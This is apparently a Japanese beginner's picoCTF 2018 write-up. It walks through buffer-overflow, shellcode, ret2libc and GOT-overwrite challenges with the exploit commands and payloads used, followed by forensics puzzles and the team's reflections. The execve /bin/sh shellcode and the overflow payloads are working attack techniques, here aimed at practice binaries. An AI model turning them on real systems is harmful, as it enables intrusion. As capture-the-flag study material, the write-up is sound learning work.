僕はこのジャンル本当に初心者なんですけど、チーム内に解く人がいなかったので仕方なく僕が解いてます
でも勉強になる問題が多くて安心した
【Points: 150】buffer overflow 0【Binary Exploitation】
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}
void vuln(char *input){
char buf[16];
strcpy(buf, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
if (argc > 1) {
vuln(argv[1]);
printf("Thanks! Received: %s", argv[1]);
}
else
printf("This program takes 1 argument.\n");
return 0;
}
バッファは16バイトなので、それ以上の長さを入れればsigsegv_handler
が呼ばれる
$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
picoCTF{ov3rfl0ws_ar3nt_that_bad_2d11f6cd}
picoCTF{ov3rfl0ws_ar3nt_that_bad_2d11f6cd}
【Points: 200】buffer overflow 1【Binary Exploitation】
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
とりあえずバッファオーバーフローさせてみる
$ ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
Segmentation fault
0x41
はA
のこと
どこかでAがジャンプ先に現れなくなるタイミングを探す
同時にIDAでwin()
のアドレスを探す
44文字の後に0x080485CB
を入れると良さそう
リトルエンディアンに合わせて並び替えてechoする
$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xCB\x85\x04\x08" | ./vuln
picoCTF{addr3ss3s_ar3_3asyd69e032d}
【Points: 250】buffer overflow 2【Binary Exploitation】
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xDEADC0DE)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
構造についてあんまりちゃんと理解してなかったので、BUFSIZE
を超えた4バイトがもう書き込めてると思って最初苦戦していた
IDAでちゃんと見たら、リターンアドレスまでのサイズは112だった
$ python -c 'print("A"*116)' | strace -i ./vuln
すればちゃんと0x41414141に飛ぶ
win()
は0x080485CB
にある
$ python -c 'print("A"*112+"\xCB\x85\x04\x08")' > ~/nemu.txt
これをgdbで入力にして実行
(gdb) r < /home/mayoneko/nemu.txt
Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.
Inferior 1 (process 3554045) exited normally
gdbではflagファイルを持ってこられないみたい
でもこの方法でwin()
に入れていることはわかったので、今度は引数に値を入れることを考える
Two special fields " r" and " s" represent return address and saved registers.
var_4Cは多分バッファサイズ
var_Cは多分フラグサイズのバッファ(4Cまでの0x40(64)用意されているので)
sはここのアドレス
rはリターンアドレス
今まで僕はリターンアドレスにWinの場所を突っ込んでたつもりでいたけど、本当はここのアドレスに突っ込んでいた。
リターンアドレスはどうでもいい(Segmentation faultで終わっても問題ない)ため、そこの4バイトは埋めないといけない
このへんでだんだん分からなくなってくる
win()
のsはSPから58(88)上
vuln()
のsはSPから78(120)上
つまり、vuln()
のSPにwin()
のアドレスをぶち込むとwin()
が起動する(これはstraceで確認済み)
vuln()
のsは4バイトなので、120-4の116個適当な文字列を流し、sにwinの()
アドレスをぶち込む
するとデータ構造がwin()
に移るから、rの分(4つ)だけ適当な文字列を流し込み、arg_0(引数1)にDEADBEEF、arg_4(引数2)にDEADC0DEを流すと鍵が開く(????????????)
つまり → 適当にやってたら開いた
$ python -c 'print("A"*112+"\xCB\x85\x04\x08"+"BBBB"+"\xEF\xBE\xAD\xDE\xDE\xC0\xAD\xDE")' | ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA˅BBBBᆳ-
picoCTF{addr3ss3s_ar3_3asyada28e9b}Segmentation fault
picoCTF{addr3ss3s_ar3_3asyada28e9b}
これからWriteupみて勉強させていただきます
まさかりお待ちしております
【Points: 200】leak-me【Binary Exploitation】
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
// real pw:
FILE *file;
char password[64];
char name[256];
char password_input[64];
memset(password, 0, sizeof(password));
memset(name, 0, sizeof(name));
memset(password_input, 0, sizeof(password_input));
printf("What is your name?\n");
fgets(name, sizeof(name), stdin);
char *end = strchr(name, '\n');
if (end != NULL) {
*end = '\x00';
}
strcat(name, ",\nPlease Enter the Password.");
file = fopen("password.txt", "r");
if (file == NULL) {
printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(password, sizeof(password), file);
printf("Hello ");
puts(name);
fgets(password_input, sizeof(password_input), stdin);
password_input[sizeof(password_input)] = '\x00';
if (!strcmp(password_input, password)) {
flag();
}
else {
printf("Incorrect Password!\n");
}
return 0;
}
名前は256文字までと言われているので、何はともあれ257文字入れてみる
What is your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,a_reAllY_s3cuRe_p4s$word_f78570
Incorrect Password!
なんか出てきたので、これをパスワードに入れてみる
What is your name?
Hello ,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_f78570
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}
【Points: 200】shellcode【Binary Exploitation】
ヒント
Maybe try writing some shellcode?
You also might be able to find some good shellcode online.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter a string!");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
return 0;
}
ヒントに書かれていたのはたぶんこれのこと
shell-storm | Shellcodes Database
ここで「linux x86 sh」をクエリに入れて検索をかける
shell-storm.org/api/?s=linuxx86sh
見つけたのがこれ
Linux/x86 - execve(/bin/sh) - 25 bytes
execveとは
execve - システムコールの説明 - Linux コマンド集 一覧表
これを使って/bin/sh
するコードらしいです
なので、さっきのshellcodeを実行します
$ (echo -en "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; cat )|./vuln
Enter a string!
[111Ұ
̀ ̀ ̀ ̀ ̀/bin/sh
Thanks! Executing now...
ls
flag.txt vuln vuln.c
cat flag.txt
picoCTF{shellc0de_w00h00_8b811b44}
picoCTF{shellc0de_w00h00_8b811b44}
【Points: 250】got-2-learn-libc【Binary Exploitation】
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */
void vuln(){
char buf[BUFSIZE];
puts("Enter a string:");
gets(buf);
puts(buf);
puts("Thanks! Exiting now...");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Here are some useful addresses:\n");
printf("puts: %p\n", puts);
printf("fflush %p\n", fflush);
printf("read: %p\n", read);
printf("write: %p\n", write);
printf("useful_string: %p\n", useful_string);
printf("\n");
vuln();
return 0;
}
いろいろな関数のアドレスが表示されるが、実行するごとに値が変わっている
けれど、各関数のアドレスとsystem
関数の距離が変わらなかったため、その距離からsystem
関数を呼び出している
(この辺のメモが消えていたので、間違ってたらごめんなさい)
距離は-0x99a10
だった
pwntoolsを使います
>>> from pwn import *
>>> io = process('/problems/got-2-learn-libc_2_2d4a9f3ed6bf71e90e938f1e020fb8ee/vuln')
[x] Starting local process '/problems/got-2-learn-libc_2_2d4a9f3ed6bf71e90e938f1e020fb8ee/vuln'
[+] Starting local process '/problems/got-2-learn-libc_2_2d4a9f3ed6bf71e90e938f1e020fb8ee/vuln': pid 1042882
>>> io.readline()
'Here are some useful addresses:\n'
>>> io.readline()
'\n'
>>> io.readline()
'puts: 0xf758e140\n'
>>> io.readline()
'fflush 0xf758c330\n'
>>> io.readline()
'read: 0xf7603350\n'
>>> io.readline()
'write: 0xf76033c0\n'
>>> io.readline()
'useful_string: 0x565ed030\n'
>>> io.readline()
'\n'
>>> io.readline()
'Enter a string:\n'
>>> io.sendline("A"*148+"AAAA"*3+p32(0xf7603350-0x99a10)+"BBBB"+p32(0x565ed030))
>>> io.interactive()
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@VBBBB0^V
Thanks! Exiting now...
ls
flag.txt vuln vuln.c
cat flag.txt
picoCTF{syc4al1s_4rE_uS3fUl_bd99244d}
picoCTF{syc4al1s_4rE_uS3fUl_bd99244d}
【Points: 350】got-shell?【Binary Exploitation】
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
void win() {
system("/bin/sh");
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[256];
unsigned int address;
unsigned int value;
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
scanf("%x", &address);
sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
puts(buf);
scanf("%x", &value);
sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
puts(buf);
*(unsigned int *)address = value;
puts("Okay, exiting now...\n");
exit(1);
}
IDAで関数win()
のアドレスを探す → 0x0804854B
同じくIDAで、puts()
のアドレスを探す → 0x0804A00C
I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?
0804A00C
Okay, now what value would you like to write to 0x804a00c
0804854B
Okay, writing 0x804854b to 0x804a00c
ls
auth
auth.c
flag.txt
xinet_startup.sh
cat flag.txt
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_150b198c}
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_150b198c}
Forensics
###【Points: 250】Lying Out【Forensics】
You've been given a dataset of 4800 internet traffic logs for your
organization's website. This dataset covers the number of unique IP addresses
sending requests to the site in 15-minute "buckets", across a 24-hour day.
The attached plot will help you see the daily pattern of traffic. You should
see 3 spikes of traffic: one in the morning, one at midday, and one in the
evening.
Your organization needs your help to figure out whether some recent activity
indicates unusual behavior. It looks like some logs have higher-than-usual
traffic in their time bucket: many more unique IP addresses are trying to
access the site than usual. This might be evidence that someone is trying to
do something shady on your site.
画像を見ながら、異常なアクセスだと思ったところをすべて挙げる
nc 2018shell2.picoctf.com 2245
You'll need to consult the file `traffic.png` to answer the following questions.
Which of these logs have significantly higher traffic than is usual for their time of day? You can see usual traffic on the attached plot. There may be multiple logs with higher than usual traffic, so answer all of them! Give your answer as a list of `log_ID` values separated by spaces. For example, if you want to answer that logs 2 and 7 are the ones with higher than usual traffic, type 2 7.
log_ID time num_IPs
0 0 00:15:00 9897
1 1 00:30:00 9731
2 2 01:45:00 10053
3 3 03:45:00 11629
4 4 05:45:00 11557
5 5 06:45:00 10280
6 6 07:30:00 10525
7 7 12:00:00 15357
8 8 13:45:00 11612
9 9 18:30:00 13978
10 10 19:30:00 11094
11 11 20:30:00 9882
12 12 20:45:00 11625
13 13 22:00:00 10823
3 4 8 12
Correct!
Great job. You've earned the flag: picoCTF{w4y_0ut_04c41b59}
picoCTF{w4y_0ut_04c41b59}
【Points: 250】What's My Name?【Forensics】
pcapファイルが配られたからwiresharkで開いたら書いてあったよ
picoCTF{w4lt3r_wh1t3_ddfad6f8f4255adc73e862e3cebeee9d}
strings -n 20 myname.pcap
でも普通に出るっぽいよ
【Points: 550】LoadSomeBits【Forensics】
こんな感じの画像が配られるけど、ソフトによっては開けないと言われる
ヒント
Look through the Least Significant Bits for the image
If you interpret a binary sequence (seq) as ascii and then try interpreting the same binary sequence from an offset of 1 (seq[1:]) as ascii do you get something similar or completely different?
言われたとおり最下位ビットを保存するコードをprocessingで
byte[]pico =loadBytes("pico2018-special-logo.bmp");
int len=pico.length;
String [] arr= new String[len];
for(int i=0;i<len;i++){
arr[i]=Integer.toHexString(pico[i] & byte(1));
}
println("load done");
String arrline=join(arr,"");
String line="";
for(int i=0;i<len-8;i+=8){
String c=arrline.substring(i,i+8);
int dec = Integer.parseInt(c, 2);
char ci=char(dec);
line+=ci;
}
String [] lines={line,""};
saveStrings("bits.txt",lines);
println("save done");
(もともと書いてたコードの変数がひどすぎたので、少し直してここに書き写した)
出てきたTXTファイルからstring
しようとしてもだめ
エディタでも開こうとすると壊れているって言われる
cat
する
ちなみにこれは縮小したもので、普通のサイズだと
こんな感じになっている
ヒントをもう一度グーグル翻訳にかけて読み直す
バイナリシーケンス(seq)をasciiとして解釈し、同じバイナリシーケンスをオフセット1(seq [1:])からasciiとして解釈しようとすると、まったく同じか全く違うものが得られますか?
byte[]pico =loadBytes("pico2018-special-logo.bmp");
int len=pico.length;
String [] arr= new String[len];
for(int i=0;i<len;i++){
arr[i]=Integer.toHexString(pico[i] & byte(1));
}
println("load done");
String arrline=join(arr,"");
String line="";
for(int i=1;i<len-8;i+=8){ //ここだけ変えた
String c=arrline.substring(i,i+8);
int dec = Integer.parseInt(c, 2);
char ci=char(dec);
line+=ci;
}
String [] lines={line,""};
saveStrings("bits2.txt",lines);
println("save done");
先頭の文字列が違っていることが分かる
byte[]pico =loadBytes("pico2018-special-logo.bmp");
int len=pico.length;
String [] arr= new String[len];
for(int i=0;i<len;i++){
arr[i]=Integer.toHexString(pico[i] & byte(1));
}
println("load done");
String arrline=join(arr,"");
String line="";
for(int i=6;i<len/3;i+=8){ //ここだけ変えた
String c=arrline.substring(i,i+8);
int dec = Integer.parseInt(c, 2);
char ci=char(dec);
line+=ci;
}
String [] lines={line,""};
saveStrings("bits7.txt",lines);
println("save done");
7回目の試行でようやく来た
picoCTF{st0r3d_iN_tH3_l345t_s1gn1f1c4nT_b1t5_770554193}
感想
Writeup書くのが一番疲れた。
低難易度からしっかりあって、自分が解けなかった問題もたくさんあったのでめちゃめちゃ参考になった。
もっと問題解けるようになりたいけど、CTF初心者を育てる仕組みが少ない気がするので、こういうCTFの大会は貴重だと思う。
Writeupみて全問解けるようにしてから他の大会に臨みたい。
弊チームはnekomaru、progfayと僕(mayoneko)の3人チームだったのだけど、初日の連携としては
- progfay : ゲーム開始前に問題の共有環境(Scrapbox)を整備
- nekomaru : ゲーム開始時に起きていて簡単な問題を大量にクリア
- mayoneko : 朝起きてから得意なWeb問をクリア
それ以降は
- progfay : 終始環境整備に尽力 + 数学とPythonの力でScript meをクリア
- nekomaru : SECCON Beginnersの知識でRSA問を全クリア
- mayoneko : 苦手なBinary Exploitationをちまちまやる
みたいな感じ。
それぞれがそれぞれの得意分野を発揮できて、かつ新しいことにも挑戦できた気がしている。
progfayが環境の整備を順次行ってくれたおかげで問題を解くのに集中できたし、nekomaruが最初の簡単な問題を大量に解いてくれたおかげでちょうど良いレベルの問題を解けた。
一番良い思いをしているのが多分僕です。本当にありがとうございました。
反省としては、全員得意なジャンルがWeb問だったのに、僕1人でWeb問解きすぎなのでもっと違うジャンルに手を伸ばそうと思った。
(特にチーム全体でReversingが2問しか解けてないのまずい)
今後もCTFやっていきたい